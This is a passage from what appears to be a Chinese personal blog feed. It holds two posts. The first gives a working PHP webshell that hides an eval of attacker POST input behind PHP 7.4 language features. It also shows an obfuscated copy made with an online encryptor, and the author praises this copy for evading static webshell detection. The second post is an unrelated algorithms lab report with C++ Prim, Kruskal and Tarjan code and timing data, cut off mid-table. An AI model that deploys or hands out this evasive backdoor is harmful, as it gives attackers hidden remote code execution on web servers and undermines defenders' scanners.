title="3.利用php7.4新特性webshell"></a>3.利用php7.4新特性webshell</h3><p>php7.4新特性:<a href="https://www.php.net/manual/zh/migration74.new-features.php" target="_blank" rel="noopener">https://www.php.net/manual/zh/migration74.new-features.php</a></p><p>简单的利用一下新特性尝试构造一个webshell</p><p>个人思路很简单使用这个逆变做主要对象处理,其他特性做传递的污染:</p><p><img src="/images/pasted-687.png" alt="upload successful"></p><p>写了一个小测试(本人水平有限，有错误还请大佬指点，感谢):</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span><span class="token keyword">class</span> <span class="token class-name">A</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span>  String <span class="token variable">$food</span><span class="token punctuation">;</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">__construct</span><span class="token punctuation">(</span>String <span class="token variable">$food</span><span class="token punctuation">)</span>    <span class="token punctuation">{</span>        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span> <span class="token operator">=</span> <span class="token variable">$food</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> String<span class="token punctuation">{</span>        <span class="token variable">$filter_var</span> <span class="token operator">=</span> <span class="token function">filter_var</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span><span class="token punctuation">,</span> <span class="token constant">FILTER_VALIDATE_FLOAT</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$filter_var</span> <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">{</span>            <span class="token keyword">return</span> <span class="token variable">$filter_var</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">class</span> <span class="token class-name">B</span> <span class="token keyword">extends</span> <span class="token class-name">A</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token keyword">abstract</span> <span class="token keyword">class</span> <span class="token class-name">Producer</span> <span class="token punctuation">{</span> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">method</span><span class="token punctuation">(</span>B <span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">class</span> <span class="token class-name">ChildProducer</span> <span class="token keyword">extends</span> <span class="token class-name">Producer</span> <span class="token punctuation">{</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">method</span><span class="token punctuation">(</span>A <span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">:</span>String<span class="token punctuation">{</span>        <span class="token variable">$array</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$array</span><span class="token punctuation">[</span><span class="token string">'key'</span><span class="token punctuation">]</span> <span class="token operator">?</span><span class="token operator">?</span><span class="token operator">=</span> <span class="token variable">$a</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$parts</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'apple'</span><span class="token punctuation">,</span> <span class="token variable">$array</span><span class="token punctuation">[</span><span class="token string">'key'</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token variable">$fruits</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'banana'</span><span class="token punctuation">,</span> <span class="token string">'orange'</span><span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token variable">$parts</span><span class="token punctuation">,</span> <span class="token string">'watermelon'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">"food1"</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token operator">?</span><span class="token function">eval</span><span class="token punctuation">(</span><span class="token variable">$fruits</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token comment" spellcheck="true">//$fn1 = fn($x) => $_POST["food"] ?? "apple";</span><span class="token variable">$childProducer</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChildProducer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$childProducer</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">method</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">A</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">"food"</span><span class="token punctuation">]</span> <span class="token operator">?</span><span class="token operator">?</span> <span class="token string">"apple"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>可用测试:</p><p><img src="/images/pasted-688.png" alt="upload successful"></p><p><img src="/images/pasted-689.png" alt="upload successful"></p><p>简单的扫描测试，效果还行 简单测试了下静态</p><p><img src="/images/pasted-690.png" alt="upload successful"></p><p><img src="/images/pasted-691.png" alt="upload successful"></p><p><img src="/images/pasted-692.png" alt="upload successful"><br><img src="/images/pasted-693.png" alt="upload successful"></p><h3 id="4-最后"><a href="#4-最后" class="headerlink" title="4.最后"></a>4.最后</h3><p>推荐一个php加密平台在别的大佬文章中看到的，用在webshell混淆上效果很nice</p><p><a href="https://enphp.djunny.com/" target="_blank" rel="noopener">https://enphp.djunny.com/</a></p><p>上面的简单的webshell混淆后的结果:</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span><span class="token comment" spellcheck="true">/*-- EnPHP v2: http://enphp.djunny.com/*/</span><span class="token keyword">goto</span> êÉèŸ<span class="token punctuation">;</span>ïõ•‘<span class="token punctuation">:</span><span class="token keyword">class</span> <span class="token class-name">B</span> <span class="token keyword">extends</span> <span class="token class-name">A</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token keyword">goto</span> ŠæºÉ<span class="token punctuation">;</span>ß·Õ†<span class="token punctuation">:</span><span class="token keyword">class</span> <span class="token class-name">ChildProducer</span> <span class="token keyword">extends</span> <span class="token class-name">Producer</span><span class="token punctuation">{</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">method</span><span class="token punctuation">(</span>A $àèŽí<span class="token punctuation">)</span><span class="token punctuation">:</span>string<span class="token punctuation">{</span><span class="token keyword">goto</span> ­Œòä<span class="token punctuation">;</span>­Œòä<span class="token punctuation">:</span>$„ƒÎ¨<span class="token operator">=</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x0000715</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> Ê£¹¼<span class="token punctuation">;</span>Ê£¹¼<span class="token punctuation">:</span>$„ƒÎ¨<span class="token punctuation">[</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x0000073e</span><span class="token punctuation">,</span><span class="token number">0x0074f</span><span class="token punctuation">,</span><span class="token number">0x0000729</span><span class="token punctuation">,</span>$Œ°ÜÚ<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token operator">?</span><span class="token operator">=</span> $àèŽí<span class="token operator">-</span><span class="token operator">></span><span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> ¹ª¶£<span class="token punctuation">;</span>ˆšÆŠ<span class="token punctuation">:</span>$£µ†Â<span class="token operator">=</span><span class="token punctuation">[</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x0776</span><span class="token punctuation">)</span><span class="token punctuation">,</span>ùñ×Ð<span class="token punctuation">(</span><span class="token number">0x0000f17</span><span class="token punctuation">,</span><span class="token number">0x000f07</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>$£ ¹Š<span class="token punctuation">,</span>ùñ×Ð<span class="token punctuation">(</span><span class="token number">0x00000f3b</span><span class="token punctuation">,</span><span class="token number">0x0f5f</span><span class="token punctuation">,</span><span class="token number">0x00f24</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">goto</span> –Ž÷Ü<span class="token punctuation">;</span>¹ª¶£<span class="token punctuation">:</span>$£ ¹Š<span class="token operator">=</span><span class="token punctuation">[</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x0000765</span><span class="token punctuation">)</span><span class="token punctuation">,</span>$„ƒÎ¨<span class="token punctuation">[</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x0000073e</span><span class="token punctuation">,</span><span class="token number">0x0074f</span><span class="token punctuation">,</span><span class="token number">0x0000729</span><span class="token punctuation">,</span>$Œ°ÜÚ<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">goto</span> ˆšÆŠ<span class="token punctuation">;</span>–Ž÷Ü<span class="token punctuation">:</span><span class="token variable">$_POST</span><span class="token punctuation">[</span>ùñ×Ð<span class="token punctuation">(</span><span class="token number">0x0f78</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token operator">?</span> <span class="token function">eval</span><span class="token punctuation">(</span>$£µ†Â<span class="token punctuation">[</span><span class="token number">0x00003</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> ½ï®ñ<span class="token punctuation">;</span>½ï®ñ<span class="token punctuation">:</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">goto</span> ‰†ÇÍ<span class="token punctuation">;</span>³Ë˜¶<span class="token punctuation">:</span><span class="token keyword">class</span> <span class="token class-name">A</span><span class="token punctuation">{</span><span class="token keyword">public</span> string <span class="token variable">$food</span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">__construct</span><span class="token punctuation">(</span>string $Íí²·<span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span><span class="token operator">=</span>$Íí²·<span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>string<span class="token punctuation">{</span><span class="token keyword">goto</span> îñÄ­<span class="token punctuation">;</span>À«—æ<span class="token punctuation">:</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span>$Ô‡™‚<span class="token operator">!=</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">goto</span> Ôêý­<span class="token punctuation">;</span><span class="token keyword">goto</span> „Ÿê«<span class="token punctuation">;</span>îñÄ­<span class="token punctuation">:</span>$Ô‡™‚<span class="token operator">=</span>Û¿ê•<span class="token punctuation">(</span><span class="token number">0x006ff</span><span class="token punctuation">,</span><span class="token number">0x00006cf</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span><span class="token punctuation">,</span><span class="token constant">FILTER_VALIDATE_FLOAT</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> À«—æ<span class="token punctuation">;</span>—¬¤·<span class="token punctuation">:</span>Ôêý­<span class="token punctuation">:</span><span class="token keyword">goto</span> ¬–‹<span class="token punctuation">;</span>¬–‹<span class="token punctuation">:</span><span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">food</span><span class="token punctuation">;</span><span class="token keyword">goto</span> ±ÒÌè<span class="token punctuation">;</span>„Ÿê«<span class="token punctuation">:</span><span class="token keyword">return</span> $Ô‡™‚<span class="token punctuation">;</span><span class="token keyword">goto</span> —¬¤·<span class="token punctuation">;</span>±ÒÌè<span class="token punctuation">:</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">goto</span> ïõ•‘<span class="token punctuation">;</span>‰†ÇÍ<span class="token punctuation">:</span>$ÀÆç<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">ChildProducer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> ÐžÑÊ<span class="token punctuation">;</span>ˆå“Û<span class="token punctuation">:</span><span class="token keyword">function</span> ùñ×Ð<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">goto</span> ¸µÁÏ<span class="token punctuation">;</span>¸µÁÏ<span class="token punctuation">:</span>$»¹Ùù<span class="token operator">=</span><span class="token number">0x0ed8</span><span class="token punctuation">;</span><span class="token keyword">goto</span> –µ›<span class="token punctuation">;</span>«”Ìñ<span class="token punctuation">:</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span>$â—ãŸ<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">==</span>$»¹Ùù<span class="token operator">+</span><span class="token number">0x0a0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">goto</span> Àéá­<span class="token punctuation">;</span><span class="token keyword">goto</span> ÷ŸèÊ<span class="token punctuation">;</span>„Ÿ´¼<span class="token punctuation">:</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token function">func_get_arg</span><span class="token punctuation">(</span><span class="token number">0x001</span><span class="token punctuation">)</span><span class="token operator">==</span>$»¹Ùù<span class="token operator">+</span><span class="token number">0x0002f</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">goto</span> ”à±Ž<span class="token punctuation">;</span><span class="token keyword">goto</span> «­öš<span class="token punctuation">;</span>¤„˜¼<span class="token punctuation">:</span><span class="token keyword">return</span> <span class="token function">gzinflate</span><span class="token punctuation">(</span>'<span class="token operator">+</span>O<span class="token punctuation">,</span>I<span class="token operator">-</span>ÊMÍÉÏ</code></pre><p>混淆后也是可用,可以很大程度的绕过webshell的静态检查，同时webshell也不容易泄露标记,很不错推荐</p><p>本人水平有限，如有错误还请大佬指点！</p><p><strong>说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担</strong></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;1-前言&quot;&gt;&lt;a href=&quot;#1-前言&quot; class=&quot;headerlink&quot; title=&quot;1.前言&quot;&gt;&lt;/a&gt;1.前言&lt;/h3&gt;&lt;p&gt;看到一篇利用php7.1新特性webshell的文章感觉思路很好，&lt;a href=&quot;https://cloud.tencen
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="webshell" scheme="https://lnng.top/tags/webshell/"/>
    
      <category term="php7.4新特性" scheme="https://lnng.top/tags/php7-4%E6%96%B0%E7%89%B9%E6%80%A7/"/>
    
  </entry>
  
  <entry>
    <title>算法设计与分析</title>
    <link href="https://lnng.top/posts/c327.html"/>
    <id>https://lnng.top/posts/c327.html</id>
    <published>2021-12-04T13:17:00.000Z</published>
    <updated>2022-01-03T06:53:52.634Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p><img src="/images/pasted-673.png" alt="upload successful"><br>算法设计与分析实验还挺有趣，简单记录一下，以后可能还能用上</p><h2 id="贪心算法应用-求图的最小生成树"><a href="#贪心算法应用-求图的最小生成树" class="headerlink" title="贪心算法应用(求图的最小生成树)"></a>贪心算法应用(求图的最小生成树)</h2><h3 id="实验过程-请用简单的文字描述"><a href="#实验过程-请用简单的文字描述" class="headerlink" title="实验过程(请用简单的文字描述)"></a>实验过程(请用简单的文字描述)</h3><ol><li><p>算法核心</p><p>prime算法，根据顶点，每次找到一个最小边然后进行标记，按照已有的点，继续搜索</p><p>kruskal算法，按照权值从小到大的顺序选择n-1条边，并保证这n-1条边不构成回路</p></li><li><p>造数据，n∈[100,1000]且 n%20==0 的顶点，随机生成任意顶 点之间的权值，并输出其邻接矩阵，通过计时功能绘制 n 与求解时间的曲线图， 关键点就是在原有算法的基础之上加入随机数，计时功能以及使用邻接矩阵存图 而非邻接表</p></li><li><p>实验过程大计划 使用c++进行编写，excel做可视化数据分析</p></li></ol><h3 id="实验详细操作步骤或程序清单"><a href="#实验详细操作步骤或程序清单" class="headerlink" title="实验详细操作步骤或程序清单"></a>实验详细操作步骤或程序清单</h3><ol><li><p>造数据</p><p>对于随机造出的图，要满足是强连通图才能有最小生成树，所以要先判断什么时候生成了强连通图，采用Tarjan算法，借助堆栈数据结构，进行是否是强连通图的判断</p><p>Tarjan算法核心思想:</p></li></ol><p><img src="/images/pasted-637.png" alt="upload successful"></p><ol start="2"><li><p>算法实现</p><p>使用prim kruskal算法实现最小生成树算法，在实现的过程中加入</p></li></ol><p>time函数实现对程序运行时间的计算</p><ol start="3"><li><p>数据可视化</p><p>使用excel对生成的数据进行折线图，可视化</p></li><li><p>程序清单</p><pre class=" language-c++"><code class="language-c++">//判断是否是强连通图 Tarjan算法void Tarjan(int u, int pre) {    int v;    LOW[u] = DFN[u] = ++Index;    Stack[top++] = u;    Instack[u] = true;    int pre_cnt = 0;    for (int i = head[u]; i != -1; i = edge[i].next) {        v = edge[i].to;        if (v == pre && pre_cnt == 0) {            pre_cnt++;            continue;        }        if (!DFN[v]) {            Tarjan(v, u);            if (LOW[u] > LOW[v]) LOW[u] = LOW[v];            if (LOW[v] > DFN[u]) {                bridge++;                putss[number++] = edge[i].w;                edge[i].cut = true;                edge[i ^ 1].cut = true;            }        } else if (Instack[v] && LOW[u] > DFN[v])            LOW[u] = DFN[v];    }    if (LOW[u] == DFN[u]) {   // 如果low和dfn相等说明为强连通图，出栈        scc++;        do {            v = Stack[--top];            Instack[v] = false;            Belong[v] = scc;            num[scc]++;        } while (v != u);    }}</code></pre></li></ol><p><img src="/images/pasted-638.png" alt="upload successful"></p><pre class=" language-c++"><code class="language-c++">   // prime算法   int prim(int cost[][maxn], int n) {       int ans = 0;       memset(vis, 0, sizeof(vis));       vis[1] = true;       for (int i = 2; i <= n; ++i) {           lowc[i] = cost[1][i];       }       for (int i = 2; i <= n; ++i) {           int minc = inf;           int p = -1;           for (int j = 1; j <= n; ++j) {               if (!vis[j] && minc > lowc[j]) {                   minc = lowc[j];                   p = j;               }           }           if (minc == inf) return -1;           ans += minc;         //最小生成树长度           vis[p] = true;       //找到最短的边访问           for (int j = 1; j <= n; ++j) {               if (!vis[j] && lowc[j] > cost[p][j]) {                   lowc[j] = cost[p][j];               }           }       }       return ans;  // 树的最小权值   }</code></pre><pre class=" language-c++"><code class="language-c++">   //Kruskal算法   int Kruskal(int n) {       memset(F, -1, sizeof(F));       sort(edgee, edgee + tol, cmp);       int cnt = 0;       int ans = 0;       for (int i = 0; i < tol; ++i) {           int u = edgee[i].u;           int v = edgee[i].v;           int w = edgee[i].w;           int t1 = Find(u);           int t2 = Find(v);           if (t1 != t2) {               ans += w;               F[t1] = t2;               cnt++;           }           if (cnt == n - 1) break;       }       if (cnt < n - 1) return -1;       else return ans;   }</code></pre><p>   程序总代码清单</p><h4 id="Kruskal算法"><a href="#Kruskal算法" class="headerlink" title="Kruskal算法"></a>Kruskal算法</h4><pre class=" language-c++"><code class="language-c++">   #include<algorithm>   #include<map>   #include<iostream>   #include<queue>   #include<vector>   #include<set>   #include<string>   #include <windows.h>   #include<cstdio>   #include<cstring>   #include<time.h>   #include<windows.h>   using namespace std;   typedef long long ll;   const int maxn = 1e3 + 10;   const int maxm = 1e4 + 100;   const int inf = 1000;   int Instack[maxn], head[maxn], Belong[maxn];   int tot, scc;   int LOW[maxn], DFN[maxn], Stack[maxn], num[maxn];   int Index, top;   int bridge, tudeshuliang;   int putss[maxn], number = 0;   int mapp[maxn][maxn];//存放顶点边权的信息. struct Edge   struct Edg {       bool cut;       int to, next, w;   } edge[maxn * maxn];   struct Time {       int num;       double time;   } timee[maxn];   void addedge(int u, int v, int val) {       edge[tot].w = val;       edge[tot].to = v;       edge[tot].next = head[u];       edge[tot].cut = false;       head[u] = tot++;   }   void init() {       tot = 0;       number = 0;       tudeshuliang = 0;       memset(head, -1, sizeof(head));   }   void Tarjan(int u, int pre) {       int v;       LOW[u] = DFN[u] = ++Index;       Stack[top++] = u;       Instack[u] = true;       int pre_cnt = 0;       for (int i = head[u]; i != -1; i = edge[i].next) {           v = edge[i].to;           if (v == pre && pre_cnt == 0) {               pre_cnt++;               continue;           }           if (!DFN[v]) {               Tarjan(v, u);               if (LOW[u] > LOW[v]) LOW[u] = LOW[v];               if (LOW[v] > DFN[u]) {                   bridge++;                   putss[number++] = edge[i].w;                   edge[i].cut = true;                   edge[i ^ 1].cut = true;               }           } else if (Instack[v] && LOW[u] > DFN[v])               LOW[u] = DFN[v];       }       if (LOW[u] == DFN[u]) {   // 如果low和dfn相等说明为强连通图，出栈           scc++;           do {               v = Stack[--top];               Instack[v] = false;               Belong[v] = scc;               num[scc]++;           } while (v != u);       }   }   void solve(int N) {       memset(DFN, 0, sizeof(DFN));       memset(Instack, false, sizeof(Instack));   //初始化栈       memset(num, 0, sizeof(num));       bridge = scc = Index = top = 0;       for (int i = 1; i <= N; ++i)           if (!DFN[i]) {               Tarjan(i, i);           }       return;   }   int n;   bool vis[maxn];   int lowc[maxn];   int prim(int cost[][maxn], int n) {       int ans = 0;       memset(vis, 0, sizeof(vis));       vis[1] = true;       for (int i = 2; i <= n; ++i) {           lowc[i] = cost[1][i];       }       for (int i = 2; i <= n; ++i) {           int minc = inf;           int p = -1;           for (int j = 1; j <= n; ++j) {               if (!vis[j] && minc > lowc[j]) {                   minc = lowc[j];                   p = j;               }           }           if (minc == inf) return -1;           ans += minc;         //最小生成树长度           vis[p] = true;       //找到最短的边访问           for (int j = 1; j <= n; ++j) {               if (!vis[j] && lowc[j] > cost[p][j]) {                   lowc[j] = cost[p][j];               }           }       }       return ans;  // 树的最小权值   }   int main() {       srand((unsigned) time(NULL));   /* 初始化为 init，这个时候可以重新进行加边操作. 下面的时候，需要使用 addedge(u,v,w)进行加边操作. 如果 scc 等于 1 的话，就说明只有一个强连通分量   */       int ran = 1;       for (n = 100; n <= 1000; ++n) {           if (n % 20 != 0) continue;           clock_t start, ends;           timee[ran].num = n;           for (int i = 1; i <= n; ++i)    //初始化邻接矩阵           {               for (int j = 1; j <= n; ++j) {                   if (i != j)                       mapp[i][j] = inf;                   else                       mapp[i][j] = 0;               }           }           init();//对判断强连通分量是否唯一部分进行初始化           scc = 0;           while (scc != 1) {               int x, y, val;               x = rand() % n + 1;               y = rand() % n + 1;               if (x == y) continue;               if (mapp[x][y] != inf) continue;               val = rand() % 500 + 1;    //               addedge(x, y, val);       // 随机边  直到生成一个强连通图               addedge(y, x, val);               solve(n);               mapp[x][y] = mapp[y][x] = val;           }           start = clock();           prim(mapp, n);           Sleep(1); //沉睡一会否则运行时间过块，导致时间很难精确，但不影响实验结果，因为相当与图的向上平移   //      printf("%d\n",min_tree_val);           ends = clock();           timee[ran++].time = (double) (ends - start) / CLOCKS_PER_SEC;       }       for (int i = 1; i < ran; ++i) {           printf("%d %.8f\n", timee[i].num, timee[i].time);       }       return 0;   }</code></pre><h3 id="Kruskal算法-1"><a href="#Kruskal算法-1" class="headerlink" title="Kruskal算法"></a>Kruskal算法</h3><pre class=" language-C++"><code class="language-C++">   #include<algorithm>   #include<map>   #include<iostream>   #include<queue>   #include<vector>   #include<set>   #include<string>   #include<cstdio>   #include<cstring>   #include<time.h>   #include<windows.h>   using namespace std;   typedef long long ll;   const int maxn = 1e3 + 10;   const int maxm = 1e4 + 100;   const int inf = 1000;   int Instack[maxn], head[maxn], Belong[maxn];   int tot, scc;   int LOW[maxn], DFN[maxn], Stack[maxn], num[maxn];   int Index, top;   int bridge, tudeshuliang;   int putss[maxn], number = 0;   int mapp[maxn][maxn];//存放顶点边权的信息. struct Edge   struct Edg {       bool cut;       int to, next, w;   } edge[maxn * maxn];   struct Time {       int num;       double time;   } timee[maxn];   void addedge(int u, int v, int val) {       edge[tot].w = val;       edge[tot].to = v;       edge[tot].next = head[u];       edge[tot].cut = false;       head[u] = tot++;   }   void init() {       tot = 0;       number = 0;       tudeshuliang = 0;       memset(head, -1, sizeof(head));   }   void Tarjan(int u, int pre) {       int v;       LOW[u] = DFN[u] = ++Index;       Stack[top++] = u;       Instack[u] = true;       int pre_cnt = 0;       for (int i = head[u]; i != -1; i = edge[i].next) {           v = edge[i].to;           if (v == pre && pre_cnt == 0) {               pre_cnt++;               continue;           }           if (!DFN[v]) {               Tarjan(v, u);               if (LOW[u] > LOW[v]) LOW[u] = LOW[v];               if (LOW[v] > DFN[u]) {                   bridge++;                   putss[number++] = edge[i].w;                   edge[i].cut = true;                   edge[i ^ 1].cut = true;               }           } else if (Instack[v] && LOW[u] > DFN[v])               LOW[u] = DFN[v];       }       if (LOW[u] == DFN[u]) {           scc++;           do {               v = Stack[--top];               Instack[v] = false;               Belong[v] = scc;               num[scc]++;           } while (v != u);       }   }   void solve(int N) {       memset(DFN, 0, sizeof(DFN));       memset(Instack, false, sizeof(Instack));       memset(num, 0, sizeof(num));       bridge = scc = Index = top = 0;       for (int i = 1; i <= N; ++i)           if (!DFN[i]) {               Tarjan(i, i);           }       return;   }   int n;   int F[maxn];   struct Edgee {       int u, v, w;//定义一个存储边信息的结构体   } edgee[maxn];   int tol;//边的数量   void addedge_two(int u, int v, int w) {       edgee[tol].u = u;       edgee[tol].v = v;       int i = edgee[tol++].w = w;   }//邻接表建图，包含每一个给定边信息的开始结束点以及边权值   bool cmp(Edgee a, Edgee b) {       return a.w < b.w;   }   int Find(int x) {       if (F[x] == -1) return x;       else           return F[x] = Find(F[x]);   }//并查集   int Kruskal(int n) {       memset(F, -1, sizeof(F));       sort(edgee, edgee + tol, cmp);       int cnt = 0;       int ans = 0;       for (int i = 0; i < tol; ++i) {           int u = edgee[i].u;           int v = edgee[i].v;           int w = edgee[i].w;           int t1 = Find(u);           int t2 = Find(v);           if (t1 != t2) {               ans += w;               F[t1] = t2;               cnt++;           }           if (cnt == n - 1) break;       }       if (cnt < n - 1) return -1;       else return ans;   }   int main() {       srand((unsigned) time(NULL));   /* 初始化为 init，这个时候可以重新进行加边操作. 下面的时候，需要使用 addedge(u,v,w)进行加边操作. 如果 scc 等于 1 的话，就说明只有一个强连通分量   */       int ran = 1;       for (n = 100; n <= 1000; ++n) {           if (n % 20 != 0) continue;           clock_t start, ends;           timee[ran].num = n;           for (int i = 1; i <= n; ++i) {               for (int j = 1; j <= n; ++j) {                   if (i != j)                       mapp[i][j] = inf;                   else                       mapp[i][j] = 0;               }           }           init();//对判断强连通分量是否唯一部分进行初始化           tol = 0;           scc = 0;           while (scc != 1) {               int x, y, val;               x = rand() % n + 1;               y = rand() % n + 1;               if (x == y) continue;               if (mapp[x][y] != inf) continue;               val = rand() % 500 + 1;               addedge(x, y, val);               addedge(y, x, val);               solve(n);               mapp[x][y] = mapp[y][x] = val;           }           for (int i = 1; i <= n; ++i) {               for (int j = 1; j <= n; ++j) {                   if (i > j) {                       if (mapp[i][j] != inf) {                           addedge_two(i, j, mapp[i][j]);                           addedge_two(j, i, mapp[i][j]);                       }                   }               }           }           start = clock();           Kruskal(n);           Sleep(1);           ends = clock();           timee[ran++].time = (double) (ends - start) / CLOCKS_PER_SEC;       }       for (int i = 1; i < ran; ++i) {           printf("%d %.8f\n", timee[i].num, timee[i].time);       }       return 0;   }</code></pre><h3 id="实验结果"><a href="#实验结果" class="headerlink" title="实验结果"></a>实验结果</h3><p>prim算法</p><p><img src="/images/pasted-639.png" alt="upload successful"></p><pre><code>n    运行时间100    0.008120    0.006140    0.005160    0.005180    0.005200    0.01220    0.014240    0.009260    0.016280    0.005300    0.008320    0.014340    0.008360    0.019380    0.02400    0.005420    0.017440    0.009460    0.015480    0.015500    0.009520    0.01540    0.011560    0.02580    0.01600    0.015620    0.014640    0.015660    0.008680    0.015700    0.018720    0.017740    0.007760    0.008780    0.013800    0.013820    0.015840    0.023860    0.015880    0.017900    0.016920    0.013940    0.014960    0.025980    0.02310000.022</code></pre><p>数据可视化</p><p><img src="/images/pasted-640.png" alt="upload successful"></p><p>kruska算法</p><p><img src="/images/pasted-641.png" alt="upload successful"></p><table><thead><tr><th align="center">n</th><th align="center">运行时间</th></tr></thead><tbody><tr><td align="center">100</td><td align="center">0.002</td></tr><tr><td align="center">120</td><td align="center">0.003</td></tr><tr><td align="center">140</td><td align="center">0.002</td></tr><tr><td align="center">160</td><td align="center">0.009</td></tr><tr><td align="center">180</td><td align="center">0.005</td></tr><tr><td align="center">200</td><td align="center">0.012</td></tr><tr><td align="center">220</td><td align="center">0.009</td></tr><tr><td align="center">240</td><td align="center">0.014</td></tr><tr><td align="center">260</td><td align="center">0.014</td></tr><tr><td align="center">280</td><td align="center">0.018</td></tr><tr><td align="center">300</td><td align="center">0.017</td></tr><tr><td align="center">320</td><td align="center">0.026</td></tr><tr><td align="center">340</td><td align="center">0.044</td></tr><tr><td align="center">360</td><td align="center">0.035</td></tr><tr><td align="center">380</td><td align="center">0.037</td></tr><tr><td 